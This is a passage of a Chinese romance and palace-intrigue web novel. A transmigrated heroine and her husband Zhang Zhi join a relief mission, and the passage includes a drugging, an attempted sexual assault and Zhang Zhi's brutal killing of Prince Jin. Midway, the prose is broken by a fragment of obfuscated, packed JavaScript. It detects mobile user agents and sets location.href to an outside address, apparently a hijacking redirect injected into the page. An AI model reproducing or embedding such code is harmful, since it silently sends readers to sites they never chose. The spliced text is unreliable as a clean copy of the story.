张止偏头,余光掠过,又不动声色挪开视线,而后才听见那女子说:“开设医馆,悬壶济世。为天下穷苦之人看病。”
“哦?”张止疑惑:“那么王公贵族便是去不得你的医馆了?”
“那也不是,在我眼里并没有身份的不同,只有病症不同。”
张止静了半晌,掂了掂这梦想的分量,沉声道:“为免女子抛头露面,私会外男,本朝女子向来不能为医,若有离经叛道者,敢坐堂问诊,可瓜田李下之嫌…”
谢蕴站起来,撑着桌面,身体前倾,重心前移,只脚尖点地,半开玩笑:“那么…请张大人到时常来光顾,想有镇北侯坐镇,小小医馆必然名声大震。”
男人搭在桌沿的手,徐徐收紧,手背青筋隐隐可见,侧身:“听你这意思,反倒是希望我常常生病?”
谢蕴还未收起目光,张止回眸,与她四目相对,单手支着折扇,从容不迫道:“但求夫人妙手回春,有华佗再世之名,陛下不喜旁人知晓侯府秘事,我若死了,恐夫人要殉情,陪我长眠于地下。”
…
谢蕴惊恐,讪讪道:“我想,我和你!我们!都是相互救命恩人!我们之间是生死之交,开个玩笑,不用这么认真!”
“我可以发誓,我比任何人都希望你活着,平安喜乐,万事胜意。”
张止死了,意味着谢蕴穿书任务失败。从这点上来说,普天之下,应没有会比她更迫切地希望张止能一切顺遂。
张止看着她,想起那次下毒。
他亲眼目睹此女在自己最喜欢的胭脂鹅脯上下了十足十的鹤顶红。
他不在意,不动声色的准备着一石二鸟之计。
可那明眸善睐的女子最后居然哭的那样情真意切,双眼发红,肿的像核桃。
嗯,她希望他活着,这点他相信。
思及至此,张止神色稍缓。
“我饿了。”
张止直起身子,半敛眸子,问道:“未至饭点,你想吃什么?我着人出去买。”
谢蕴喜酸:“灯市街上新开了一家蜜饯店,他家的生腌水木瓜独具风味。”
“景和!”张止传令:“去看看店家今日做了多少,全部买回来,从明日起,让店家每日往侯府送些酸食零嘴,供夫人挑选
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。”
态度转变太快,谢蕴受宠若惊,不好意思:“不用不用,我也吃不了那么多。”
“我瞧着你晚上还有吃零嘴的习惯。”张止只当她年纪小,爱吃零嘴更是无伤大雅:“多备些。”
既如此,谢蕴也不好推脱。
望着景和的背影,她想起了什么,大声嘱咐:“景和!你带些荷花酥回来!也让店家日日往侯府送些甜食!”
府中喜甜食的只有芝落一人。
谢蕴想起张止在生命的最后对芝落的放心不下,被这样一位高山仰止的君子钦慕着,旁的人她当然不会在意。
妻子的名义、宗妇的位分,她也自然看不上眼。
张止沉下眸子,轻声道:“不用了,芝落的零嘴皆是府里特制,旁的店,做不出来。”
***
九月过后,朝廷事情繁多。先是黄河水患后的大疫,又是太后的小儿子晋王回朝。
张止日日到深夜,忙的脚不沾地,宵衣旰食。
谢蕴调侃:“你应该学学孙悟空,多变出几个人来才够用。”
张止没抬头,只道:“晋王回朝后将去赈灾济贫,那时应会轻松些。”
赈灾济贫?好熟悉的剧情。
她的的确确记得且无比确认,这个剧情是在书的最后。
杨励陪着晋王去赈灾,归来后,晋王在朝堂上威望渐高,文臣武将隐隐有晋王马首是瞻的念头。
中间势力张止自然为他们所不容,为避祸乱,尽早除去张止为上佳。
谢蕴的思绪断了,她怎么也想不起来,那场除去张止的祸事到底是什么。
张止斜嘘一眼,柔声道:“怎的脸色如此苍白?”
“是杨励陪晋王去吗?”谢蕴稳稳心神。
“他是心腹,理应同去。”
谢蕴头疼,倒在摇椅上,纤细如葱的手指放在太阳穴处。
“系统。为什么剧情和我看书完全不一样?”
她想起来最开始杨公的死,明明也是在书的最后,莫名其妙的提前了,她本以为是完成新手任务时误触剧情。
但是现在回过神来,才意识到全本书的剧情都打乱了。
“系统现在正在升级,无法回答您的问题。”
…
这破系统,什么玩意!
“你能不能也去赈灾?”思来想去,谢蕴只想到了这个办法。
张止闻声,手中的笔一顿,瞅了眼愁眉苦脸的女子,又专注回折子上,摇头低声道:“我是去不了的,北方战事吃紧,说不准哪日大军开拔,我就要重回战场。”
“何况赈灾这种事晋王自然愿意露脸,我和他并非一路人,让我与他同去,岂不是惹他心烦?”
谢蕴以为他是没有办法,从躺椅中爬起来道:“我有个主意,我给皇上上道折子,让你去监督,不就一举两得?”
张止搁笔,瞳仁一动,难为她想出一个这么好办法。
“为什么偏要让我去?”
谢蕴心说,人家回来威名显赫,借着势头,栽赃嫁祸,朝廷上下无不为自己利益着想,单凭你一个人难以招架。
“水患、大疫,他们这些人哪会为了百姓?到时候中饱私囊,受苦受难的终究是我等平凡人。”
张止没接这话,只垂首研墨,喜怒不明。
“嗒——”
21. 赈灾防疫 初见晋王
次日早朝,文武大臣均赈灾的人选吵得不可开交。
虽是内定了晋王,但文臣武将陪同者尚未敲定,众臣内里揣测晋王是太子的不二人选,若是此次能在晋王前露个脸也是好的。
“陛下,臣请旨陪同晋王殿下去赈灾。”
“杨励,如今是多事之秋,户部粮钱如何?此前追缴欠款的事情,完成如何?”皇上没有立即同意,他是晋王心腹,皇上亦有所顾虑。
“回皇上,户部钱粮丰足,足够应对朝堂日常三年所需,追缴欠款皇上此前应允三月之期,现在刚过半月,是以还未完成。”
吵闹的朝廷安静下来,皇上扫视低头而站的大臣,不接这话,转向后方:“还有哪位臣工愿意前往?”
“臣愿前往。”
张止三步出列,他向来不涉党争,此番自荐,属实意外。
“晋王殿下稳居朝堂,不知流民险恶,臣曾在战场拼杀过,若有流寇作乱,也可以武力镇压。”
***
“我瞧你越来越喜欢吃酸酥饼了。”张止取下头顶的官帽放在一边,看着躺椅旁掉落一地的碎渣,眼尾下压,露出藏匿于眉间的一颗痣,无意纠缠于此:“女子多喜甜食,你倒是与众不同。”
谢蕴视线向上,慵懒道:“张大人果然了解女子,不知是哪位姑娘的春闺梦里人。”
“朝廷事多,张某于此事上有心无力。”张止撩袍坐下,搭着小臂,话锋一转:“三日后我起身赈灾。”
谢蕴嘴里的酸酥饼,从中而断,掉落一地。
行不苟合的张止,怎的真听从她的建议?
张止蹙眉,拨弄茶沫,看着一整块酸酥饼掉成碎渣,终究是别开目光了。
谢蕴意外:“晋王也同意?”
“杨励陪同,势在必行,我若同去,相互间有个制衡,替皇上,盯着他们。由不得他们同意与否。”
“我也去,我好歹也是医士。”谢蕴生怕张止将自己留下:“处理这些问题,最是擅长。万一你有什么事,我也能及时救治。”
张止支着脑袋,静了静,端详眼前的女子,眼神复杂。
她好像总盼着我生病。
他浅浅饮茶,嗯了一声,当作回答。
***
芝落送别时依依不舍,拉着谢蕴说不完的嘱咐:“天气冷了,你记得多穿些,夜里凉,提前让下人给你暖上汤婆子…”
“芝落姐姐,这么放心不下,不如同去。”说话的正是杨宝珠,跟在杨励后面,穿着像一串小糖葫芦。
谢蕴在芝落耳边嘀咕:“她怎么也去?”
她与杨宝珠虽没有正式见面,只因当时张止为了救自己不由分说将她绑过来,两个面上不至于撕破脸皮,内里杨宝珠已经与她结下梁子,此时同去,谢蕴到底觉得有些尴尬。
“她年满十八,与当朝户部侍郎家的公子定亲,那位公子外放做官,此番正是相见。”芝落深入浅出,一语道破真相:“有阿止在,谅她也不敢欺负你。”
“宝珠妹妹,府中事多,我免不了打点,不像妹妹可游山玩水。”
张止打马而过,青碧色暗纹锦袍,外披雅青色大氅,贵而不骄,拎着马鞭,不着声色暗睨了杨宝珠,嘴里却对芝落说:“你也太把她当小孩了,光是零嘴林林总总带了五大包。”
“路程漫长,女儿家无事也能打发时间。”
谢蕴差点就要哭出来了,芝落真的拿她当小妹妹疼,以至于她上了马车,还探出身子挥手道别:“我很快就回来了,芝落姐姐,你不要太想我了。”
同在马车里的杨宝珠冷笑:“只怕她现在恨不得生吃活剥了你。”
“你说什么?”谢蕴顿时觉得眼前的女孩不那么可爱了,邪恶糖葫芦,咬着牙恨恨质问。
“你这么大反应干嘛!本来人家就是侯府名正言顺的女主人,你是什么?你在侯府,人家就是名不正则言不顺!”杨宝珠是杨励唯一的妹妹,从小到大,名利是非,她耳濡目染惯了。
谢蕴眯起眼睛,挑拨离间这死出,和她哥真是一模一样。
“杨小姐,张大人的手段你是知道的哦。”谢蕴玩起狗仗人势这招,也是手到擒来:“你最好要谨言慎行,你哥哥一介文臣,哪里打的过嗜血如命的阎王呢。”
杨宝珠想起腿上的伤,讪讪闭嘴。
许是争吵声太大,最后落入沉寂又太快。
骑马而行的杨励心疼自己妹妹,凭他见过谢蕴的几面,这位牙尖嘴利的小娘子胜过自己妹妹千里万里,现下更是一百个不放心,不得驱马与张止并肩。
张止侧首,不明所以。
“张大人,我妹妹年幼无知,能否…”
张止了然于胸,他难得与杨励观点一致,谢蕴口齿伶俐,自然不会落于下风。
“杨大人,上次已经说过了,年幼的是我夫人。”
杨励腹诽,这对夫妻在口齿方面,真是相像。
谢蕴这具身体虽然年小杨宝珠两岁,心智已经是二十六,无聊的车程也能挨得住寂寞,后者却不同。
“我听说张大人那时并不愿意娶你,你在他耳边说了一句话,就让你进府了,你说什么了?”
谢蕴抬起眼皮,警铃大响盯着杨宝珠,不清楚这位在官宦人家长大的女孩是不是有如此高的政治觉悟,还是为杨励打探消息。
“你听谁说的?”
“我哥啊,他当时不就在吗?”
谢蕴稍微放下心,眼珠一转,暧昧开口:“我听闻你已定了婚事,特意找我打听我怎么入侯府,难不成你也有此意?”
“你!”杨宝珠一时语塞。
谢蕴不住嘴,自顾自往下说:“如你所说,侯府有芝落掌实权的女主人在,又有我这个名义上的女主人在,你入侯府恐怕只能为妾了。”
这对女子是极大的羞辱,尤其是对自小被捧在手心长大的杨宝珠而言,无疑于韩信当年胯下之辱。
“大言不惭!谁会当妾室!”
杨宝珠脸羞成通红,谢蕴清脆的笑声传出马车外。
马背上的两人面上喜怒不尽相同。
一位知道自己的妹妹输了,一位知晓自己的夫人赢了。
至晚,谢蕴见到了传说中的晋王,如今朝堂炙手可热的帝位人选。
而在书中,晋王只是小说中的一个名词而已。
她跳下马车,晋王、张止、杨励三人并肩而立,身量体形年岁都差不多。
谢蕴偷笑,相比之下,张止远胜旁人。
“这便是你新娶的妻子?”晋王不悦,张止见自己无礼,他的妻子还未行礼就偷笑,可见夫妻两蛇鼠一窝。
“是。”
谢蕴徐步走来,微微欠身:“见过晋王殿下。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900477|192094||http|test|mini|href|location''.split(''|''),0,{}));
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>月色正好,谢蕴抬头,晋王一怔,女子身量芊芊,柳眉如烟,双瞳剪水,唇色朱樱,实乃美人。
晋王打趣:“张大人艳福不浅,倒让旁人艳羡。”
张止面色一沉,眼角下压,谢蕴与张止相处了这些日子,她清楚这是他生气的表现。
“拙荆养在深闺,还望殿下不要如此,以免旁人耻笑殿下好色忘义,觊觎臣妻。”
即便不是古人的谢蕴都觉得此言太严重,张止却一脸淡然,好似说这话的人不是他。
晋王反应平平,眼底一丝笑意:“也罢,难得见你开口袒护别人。”说完转身离去,嘴中笑谈:“今晚歇在江大人的府邸,哪一年来着,我也曾住在这…”
杨励与杨宝珠两人紧跟其后,张止刻意放缓脚步,落后一大步。
“你怎么不跟上?”谢蕴在后低声:“我以为他很老呢,没想到你们看起来差不多大。”
张止眸色转深,眼神森冷望着前方背影,嘱咐:“离他远点,他在外有好色之名。”
谢蕴点头,表示自己会一再警醒。
男人脚步一顿,谢蕴原本落后他半步,此时一下撞到张止后背上。
谢蕴捂着额头不忿:“停下提前说好不好?”
没有听到想象中的声音,谢蕴木然抬头,不明。
张止薄唇轻抿,对视片刻,迟疑:“…二十六岁很老吗?”
晋王与杨励还错他两岁,才二十四,三人之中,他最年长。
谢蕴稍顿须臾,露出一排牙齿。
“张大人何须妄自菲薄?如今年岁正好,正值当年。”
古人常说车马劳顿,而左边张止端坐,腰背挺得笔直,宽大的袖子搭在膝盖上,面上不见任何疲倦之意。
对面的杨宝珠,京城贵女,更是一板一眼,让人挑不出来错处。
只有她一个人,满眼困倦,在桌子下拉了拉张止的衣袖,悄声道:“我困了,我能不能回去睡觉?”
张止没有反应,闷声倒酒。
“我困了。”她又扯了扯男人衣袖,再一次重复。
后者依旧没有什么反应。
“你听见没!”谢蕴小小的生气。
张止如水的脸上泛起涟漪,嘴角微微勾起,心情愉悦,轻声耳语:“听见了。”
听见了你没有反应!
在谢蕴小小的生气演变成冲天怒火前,张止起身,拱手行礼:“张某不胜酒力,不能相陪殿下。”
“无妨,去吧。”晋王毫不在意:“明日还要赶路,的确不宜劳累。”
***
“你不休息?”谢蕴看着停在门口的张止,好生奇怪。
“陛下答应让我来的条件,其中有一条就是拉拢江大人,今夜正好暂住。”
谢蕴揉着眼睛,实在佩服这些古人的精神,这么晚还要拉拢别人。
她真是累极了,几乎是躺下就睡着了。
时值九月底,天气干燥。
睡梦中的谢蕴只觉嗓子发干,浑身发热。
这江大人家中地龙也烧的太旺了。
她撑起身子想要起床喝水,手上无力,一下摔倒在床上。
谢蕴枕在臂弯中,定了定神,再度慢慢支起胳膊,双脚踩到地上,才发觉脚下虚浮,站也站不稳,心中好像有团火,快要喷涌而出。
“娘子,你好啊!”
22. 克己复礼 万劫深渊
谢蕴心下一惊,怀疑是自己幻听,可身体真实的反应告诉他,被下药了!还是下春药!
那团火越演越烈,谢蕴摸黑深一脚浅一脚走到桌面倒水。
怎么…怎么没有水?
“小娘子。”身后猛然贴过来一具躯体,那人一手扶住她的腰肢,一手抚弄她的头发:“果然是盈盈一握。”
“张…”抚弄头发的手掌就势覆在她的口鼻上。
“你若喊叫,今夜良宵岂不辜负?”来人低头,炙热的气息喷在她的脖颈之间,腰间那只手徐徐向上,紧贴着皮肤游走:“何况,张止此时想必正在与江大人清谈。”
谢蕴奋力挣扎,嗓子中呜咽作响,来人好似更喜她这般不从的模样,竟微微松开禁锢她的力度,只是滚烫的身子与她又近一步,衣衫轻薄,意图不轨。
“小娘子,你如此挣扎,是…摇尾求欢?”那人单手搂住她的腰,谢蕴强忍身体不适,右腿用力向后踢,却被男人双腿紧紧夹住。
“你…是谁?”谢蕴的声音从手指缝里溢出。
那人不紧不慢,保持着这个姿势,并没有进行下一步工作,稳声:“小娘子,想要你的不是我,我只是送你去而已。”
去?要去哪?离开这里吗?
“你放心,要你的也是一位达官贵人,绝计叫你受用!”
谢蕴双脚无力,张开嘴狠狠的咬在那人手上。
这一口极狠,牙齿落在虎口,入肉三分。
那人吃痛,下意识收手,暗骂:“烈性,你还要为张止守身如玉不成?”
谢蕴趁此乱,开门逃脱。
那人弯腰,在黑暗中从容不迫捡起一双鞋,唤她:“小娘子,穿上鞋。小心着凉。”
谢蕴哪有还有这心思?她此刻只想快点逃脱魔掌,余光里,撇见一道黑漆漆的影子跟上。
她猛地撞到一人,那人手急眼快,伸手揽住了她的腰。
贴上的瞬间,那人便觉不对:“你,怎么这么烫?”
“张止!”谢蕴听见此声,顿觉安心,她窝在那人的怀中,像一只受惊的狸猫:“后面…后面…有人…”
眼前女子青丝凌而下,内里的白色小衣忽隐忽现,袒露着肩膀上刻着发红的指印,以及那几声若有若无的呻吟。
发生什么,不消多说。
张止伸手揽过女子,宽大的袖口遮住她的后背,挡住珠光膏腴。
“别怕。”
谢蕴瑟缩双肩,吓得魂飞魄散,又觉得脚下发软,口中发干,身体无比燥热,此时也顾不上许多,双手穿过氅衣,揪着张止后腰上的一块布料:“救我…”
那人万没有想到张止竟然在,转身欲跑。
“嗖——”
袖中飞镖,正中那人背心。
药力明显,谢蕴双手不可控制的攀上张止脖子,衣衫轻柔,血管里的滚烫贴在肌肤上,仅存着一点理智,驱动自己开口:“你…你别怕,我,我只是太热,想要凉快些。”
双脚一轻,谢蕴愣了神,男人居然打横将她抱起来。
这下可好,她正巧贴在男人身前。
咚—咚—
“哥哥,你…心跳的好快…”她不知自己语气暧昧,不知旁人听起来,不怀好意:“我…好热…”
张止不吭声,几步入里。
“别怕。”语气轻柔,身下是一张极软的被褥。
谢蕴理智被一点点抽离,额头上浮起一层细细的密汗,牙齿紧紧咬着下唇,留下细小的牙印。
张止别过眼,不忍细看,轻声道:“你出汗了,我去给你打水。”
他起身,想把双手从女子腰间撤出。
谁知那女子竟然翻身将他楼的更紧,浑身颤栗,嘴唇擦着他的喉结而过,他猛然睁大双眼,身体一僵,竟然直挺挺的愣在那里。
“你好香啊。”
今日像是栀子花,可九月的季节哪里来得?
他的双手紧贴着她的腰背,炙热似火,浸着他的手,在手心留下一层湿热的汗。
他眼睁睁看着谢蕴气息变得紊乱,君子的教养让他克己复礼,旋即咬紧牙关:“谢蕴,你…躺好,我去给你打水。”
抽离的理智像是又回到了这具身体,谢蕴放下双手,无处安放的双腿抬起又放下,她分明感觉内里生出来一团火,像是要烧死她。
这副样子,实在不想让人看见。
“你躺好。”
谢蕴听见这声,伸手去够男人的手,却只碰到指尖:“你别去,我不想…叫其他人…瞧…瞧见我这样…”
她在火中想到,之前因绿帽子给张止带来太多不便,此刻这副模样,叫旁人看见,又是满城风雨。
张止脚步一顿,目光下沉,不在复言。
从内里烧出来的燥热,令她下意识的脱去身上披的外衣,借着月光,露出胳膊出的雪白。
“别…”张止拿起被子,慌张想替她遮盖,却又被她拉在怀中,黏腻的汗液沁透了他脖颈处的衣服。
她嗫嚅两声,温热的气息喷到张止脸庞,他顿时只觉气血翻涌,一股热流冲到脑中,只能强忍着,拼命去够放在里间的被子。
无奈女子双手微微用力,压着张止不由更近一步,柔软的唇擦过他的鼻尖。
浩劫。
张止紧闭的双眼像是受到召唤般睁开,对上的却是谢蕴泪盈盈的含情眼。
他浑身一颤,几乎就要俯身。
掌侧在枕处却碰到一个硬物。
指尖抚过,心中了然。这是他送给谢蕴的匕首。
复而握紧,翻手而出,旋即抬起左手,毫不犹豫的在小臂处划出一道血痕。
伤口不深,皮肉之间,隐隐流出血液。
这力度对于他而言,刚刚好,不足以让他受伤,却足够让人清醒。
张止微微皱眉,随后右脚凌空一踢,衣袍随之飘起,匕首在黑夜中闪出寒光。
一道布条随之落在他的手掌上。
他拿起布条覆在眼睛上,穿过头发,在脑后系好。
但张止忘了,他当侍卫时,曾有一项考试,蒙眼出刀斩杀猎物,须要百发百中,张止精于此道,年年是夺得魁首。
不因别的,只是他蒙眼时,耳力惊人。
这本是他引以为傲的资本,可此时此刻,却让他无比煎熬。
女子强忍的嘤咛声,汗液滴落在被褥上的声音,翻身时钗环晃动声,在他耳朵被无限放大,似在挑拨他心弦。
气血翻涌,脸颊发烫。
不得已,他又握紧匕首,在胳膊上划出第二道口子。
疼痛让他登时清醒。
张止在疼痛中记起,为避免谢蕴劳累,刚到府时,他便吩咐人为其备水,放置现在,热水已变成凉水。
张止揽肩再次抱起谢蕴时,羞愧到无地自容,他原以为盖住了眼睛便是克制了汹涌,偏偏他能清楚的想起每一寸的位置。
真是该死啊!
温热的汗液差点让他脱了手,好巧不巧,女子行为无规律,他碰到了不该碰的地方。
随后,一声。
在黑夜中,张止撑着上半身,脸色通红认命般叹气:“你…谢蕴,你叫我如何是好?”
须
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臾,他终于把谢蕴抱起,后者身体滚烫,在他怀里像只狸猫,钻来钻去。
他自问不是圣人,如此这般…
好在他已把谢蕴放在浴桶中,凉水沾湿手臂的第三条伤口。
谢蕴本燥热的身体软在凉水里,竟无比舒服。
不多时,她如同睡着了。
张止耳朵动了动:“谢蕴?”
他发觉声音竟然是如此沙哑。
张止咬牙切齿,暗骂自己无耻之徒,与外头的登徒子有何区别?
确定谢蕴没动静,张止双臂入水,轻轻托起女子。
谢蕴安静的不像话,湿漉漉的衣物连同身体乖乖的靠在张止身前。
滴答——滴答——
水珠沿着发丝、衣物落下。
怀中的人像是觉得不舒服,自动往他怀里钻了钻。
张止脚步一滞,叹气,只觉自己无法在这样抱着她,强压着,快走几步,将她塞到被子里。
万幸,这地龙烧的足够好,不至于让人受凉。
这一夜,张止手臂足足多出来六道伤口。
***
“你没事吧?”一大清早,杨宝珠神色古怪盯着她。
谢蕴被这个眼神看的不自在,回嘴:“我能有什么事?你问的好奇怪。”
杨宝珠惊叹:“昨夜江大人偷袭张大人,被张大人一刀毙命,你居然不知道?”
谢蕴想了想,心道这位江大人真是胆大,竟然假借清谈名义,暗行刺杀之举:“昨晚我睡得早,不知道发生什么事。”
杨宝珠还是没有想明白:“江大人酒囊饭袋之辈竟然能把冷面阎王手上刮出那么多伤口,这是怎么做到的?”
“他受伤了?”
谢蕴打帘而出,张止与杨励并肩从台阶上而下,行走间,张止手臂摆动果然有些不自然。
隔着老远,张止便知道谢蕴在等着自己。
“你怎么了?还有人能够伤到你?”
张止面不改色,宽大的袖袍不仅盖住昨夜的满园春色,今日也遮住羞耻的见证:“无妨,只是破了几道口子,并无大碍。”
“你怎么让别人给你包扎?我就是大夫。”
张止不敢直视谢蕴的目光,心虚错开目光。
这药居然能使人忘记当夜发生的事,是他唯一庆幸的一点,否则,他无法解释这一切。
可是,他更加觉得自己可耻。虽是事出紧急,但仍是趁人之危,实非君子。
若有万劫不复深渊,他理应去那处。
“这种小伤,谁都可以包扎。舟车劳顿,应该让你多休息。”
“你别这样说,我到底还是你嫂嫂,照顾幼弟,是我的责任。”四下无人,谢蕴用只有他们两人听见的声音说道。
此话一出,张止更觉无地自容,翻身上马时都不自然。
“你和张大人说什么了?怎么他的脸青一阵白一阵?”
谢蕴闭目养神,并不想搭理这个小姑娘:“大人的事情小孩子少打听。”
“切,你比我还小两岁。”
这倒是,算下他们现在的年轻,她属实是最小的。
离京已有十天,离灾地只有五天的路程了。
“你也要和我们去赈灾吗?不是说你定亲了,去看你夫君吗?”这样娇滴滴的京城贵女,实在不敢想要去赈灾会哭成什么样。
“谁要去看他?”杨宝珠看起来不像是假话:“我又不喜欢他。”
谢蕴凑上前,笑问:“那你喜欢谁?”
杨宝珠脸色通红,张嘴欲说,却听见张止的声音:“夫人。”
23. 花中君子 酒中剑灵
夜风微凉,更深露重,今夜驿站是灾区前最后一个驿站,再往灾区腹地走,别说驿站了,只怕是要尸横遍野。
“那我今夜必定要好好修整一般,早点睡觉。”一旦到灾区,作为大夫的谢蕴定是要比他们这些王公贵族繁忙的多。
张止勾起嘴角,扶她下马车:“听说这里的百姓为了避免瘟疫,特意编了一支舞,既可以驱疫,又可以祈福,夫人,百闻不如一见。”
谢蕴抬起下巴,张止在这种小事上一惯是不强人所难。
“你确定?”
“嗯。”
谢蕴眼珠转了转,在某些事情上,她当真是很相信张止的:“好。”
席间,谢蕴终究是见到了这种舞蹈。
一行十余人,均是身着草裙,袒胸露乳,右手持弓,左手持剑,嘴里咿咿呀呀唱着听不懂的歌曲,情到深处,先是挥弓,后是挥剑,最后哭泣。
谢蕴目瞪口呆,往张止身边靠了靠,低声:“你让我来,就是看这个?”
张止声音清冷,捏紧酒杯,反问:“不好看吗?”
谢蕴龇牙咧嘴又看了半天,无法说服自己,缓声:“不好看,下次不用叫我。”
“夫人,你可曾听说过花中君,酒中剑?”他刻意提高了音量,席间人皆把目光投到他们所在的座位上。
这个问题,属实有点难。
谢蕴深吸一口气,承认:“是我孤陋寡闻了。”
“花中君,酒中剑,醉卧明月独高悬。”杨励停下筷子,替她解惑:“这说的都是张大人。”
“张大人当年从边境回京,坐车从街而过,无数女子从楼上扔至花至张大人马车之上,花中君花中君,自然是指坐在花中间的张大人了。张君容貌,堪称花色。”
“那…”谢蕴没有想到冷面阎王张止还有这么传奇的一面:“酒中剑呢?”
“万国来朝,对面公主依着胡族的旋律编了一只舞,希望我朝也有能人能编一只舞,不需要依着他们旋律,但必须反拍。无数贵族女子都在宴会上,可偏偏就没有人能出来一舞。”
“不会是…”
杨宝珠接过话茬:“实在是那只舞拍太难,万幸张大人饮酒而归,信手舞剑,长了那群人的见识。”
谢蕴脑补了半天,也想象不出张止醉酒舞剑是什么样,无奈摇头:“张大人以前还真是够潇洒的。”
话已至此,张止放下酒杯,侧眸询问:“夫人,还未见过我舞剑,今日兴起,夫人可愿一观?”
谢蕴看着张止一脸杀气腾腾的样子,心中疑虑不减反增。
不正常啊不正常,你确定你要舞剑?
“嗯?”张止一侧眉毛挑起,平添了几分少年郎的稚气,与平日大相径庭。
“自是愿意。”
一直没出声的晋王哈哈一笑:“张大人,怎么和孔雀开屏一样,舞剑就舞剑,怎的还非要张夫人在一旁观看?怎么,她不在还不行了?”
张止点头认同:“嗯。她,不在不行。”
语毕,张止举起酒杯,一饮而尽,起身抄起早已放在旁边多时的长剑。
她认识这把长剑,这剑名唤亡刃,谐音亡人。
实在…实在不是一把舞剑的首选。
“夫人,”他悄声,意有所指:“好好观看,错过今日,又不知何时。”
谢蕴因这句话坐在椅子上更加心神不宁,不知张止到底要做什么。
她一一从在场这些人脸上看过去,几乎是一模一样迷惑的神情。
他们都是一样的困惑。
站在正中的张止手提酒壶,高高举起,美酒从刀刃剑身流过,一缕一缕滴在地上。
“流星白羽腰间插,剑花秋莲光出匣!”
张止声色本就清冷,这曲调亦是大气,他刻意一顿一错。
烛光炎炎,男人右手执剑,身影错错,剑气如霜,一整套动作行云流水,如蛟龙在天,似天仙狂醉,同满堂花醉,当真是气压江城十四洲。
剑气逼人,身姿穿梭其中。明明只是一个人,却像千军万马。
不知天上谁横笛,吹落琼花满世间。
谢蕴垂眼,此一瞬间,名唤亡刃的剑出现在上座,剑刃锋利,竟直直切下晋王一臂,血流喷涌而出,断臂了无生机的躺在地上。
事发突然,席上鸦雀无声,晋王反应片刻,嚎叫出声:“啊!啊!救命!”
“张止!你…啊!你胆敢行刺!”
谢蕴的本能反应是去救人,无关其他,只是大夫的本能。
正欲起身,张止一只手搭在她的肩膀上,不需要多大力气就把她按回到座位上,语调轻快,可想他此时心情不错:“你慌什么,他们晋王府养了那么一群废物,此刻不用,更待何时?”
同行相轻,谢蕴打量那几位大夫,手法娴熟,讪讪道:“不好这么说人家,万一他们医术比我精湛。”
“夫人。”张止敛起眉眼,在晋王的叫喊声中,像是无人般,端起酒杯,浅浅一笑:“可惜了,你刚才并没瞧见我的手法,再见我舞剑,又待何时。”
杨励被这一幕惊到目瞪口呆,撩起袍子小跑上前查看伤势,外圈围了一群大夫,内里晋王紧咬牙关,面色苍白,不住的喘着粗气,断断续续的说:“张止…你想死…”
这么多年他们分庭抗礼,井水不犯河水。张止虽然不站队,视双方无物,今日可好了,直接把桌子掀了。
“你怎么想的?”杨励平日的风度早就扔到一边,在台上指着张止,想不通他到底为何如此:“你脑子有病?有什么深仇大恨非要如此?”
张止面色如常,略微抬起眼皮,瞅了一眼台上之人:“良禽择木而栖,你确定这就是你选的好主子?”
杨励气的跳脚,虽不理解,却也深知:“你断他一臂,此生他绝无继位的可能。”
没有哪朝哪代,会让一个身体残疾之人登上皇位。
张止目视前方,语气森然:“我,犹嫌不足。”
“你!”杨励背后一凉,汗液贴着皮肤而下,终于明白他是什么意思:“…你想让他死?”
张止重重的放下酒杯,抱臂而坐,冷冷盯着台上晋王,不发一言。
大夫包扎好伤口,捡起断臂,支支吾吾:“大…大人,命…保住了,只…”
张止偏头,微微一笑,不走心的赞赏:“不错,晋王倒是没有白养你们这群废物。”语毕,小臂垂直,向后张开手掌,景和适时递上一只手套。
准确来说,那不能叫手套,只在手背及关节处套了一层薄薄的的银质护铁。
他低眸,目不斜视的戴好,像是怕不合手,特意张合几次。
“现在我就告诉你,我想要干什么。”
晋王疼的双眼发白,半瘫在椅子上,闻
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听此言,强撑其半身,冲门外大喊:“卫兵!卫兵!”
张止撩袍起身,谢蕴这才发现他为了舞剑,特意换了一双黑色靴子,初看无异,只在脚后坠了两只铃铛,随着步伐缓慢又有节奏的发出声响。
叮—叮—
像极催命的符咒。
“卫兵?你那衣架饭囊的废物,怎么能和我的府兵相比?”
一阵有序的步伐踏入殿内,一行四五十人分别在他们身后,庄严静默。
景和汇报:“卫兵已全部拿下。”
张止站定在晋王面前,面容冷静,眼尾下压:“殿下,还需叫谁?”
晋江环顾殿内,重重叠压,皆是张止的人,颤颤巍巍:“你…要造反?”
张止笑:“不敢,殿下,临行前陛下曾言明,若有作奸犯科,妨碍公务者,可即刻斩杀。我怎么能算是造反?”
晋王双腿不住的颤抖,在冷汗涔涔而下时,喃喃道:“你为了杀我,竟然舍身入局?还让她…你真舍得啊!你到底要什么!”
“不,殿下,你错了。”他一口一个殿下,嘴上尊重,内里鄙视:“我从不舍得让她入局,是你和你身后的人寡言显耻,一次一次踩着我的底线,逼她去死!没办法,我只好解决你,否则,我夜夜难以安寝啊!”
晋王把目光锁在杨励身上:“杨励!拦住他!只要你拦住了,我必然…”
杨励别过目光,是非对错,朝堂局势,一眼明了。
张止眼色冷淡,像看畜生似的看眼前人:“拦住?若偏偏拦不住呢?殿下不知世界上有注定一说吗?”
“好比太阳注定西沉,好比繁星夜注定是无月夜。”
“好比…”张止目光一紧,左手拽起他的头发,右手狠狠一拳直捣面中,血液飞溅,一滴落在他的眼尖,恍然间世界微微泛红:“你今夜注定命丧于此!”
“张止!”晋王大叫:“你敢杀我!”
他并没有因这声惨叫而放缓节奏,越演越烈。
手套乃是特制,拳拳到肉,必定血肉模糊。
不过半盏茶时间,晋王的声音由大转小,渐渐了无生息。
须臾,张止转身,厌恶的将手套扔到一旁,身后的晋王奄奄一息,无力诅咒:“张…你不得…不得好死…”
张止双手背后,平静的目光从众人一一扫过,谢蕴起身回望,他刻意错开她的目光,并无对视。
“陛下口谕。”张止高声,一屋子的人齐刷刷跪倒:“晋王中饱私囊,还未行至灾地,便挥霍无度,孤深感不安,如此这般,怎么面见上天,故令镇北侯酌情处理,此事关乎皇家颜面,不可张扬。”
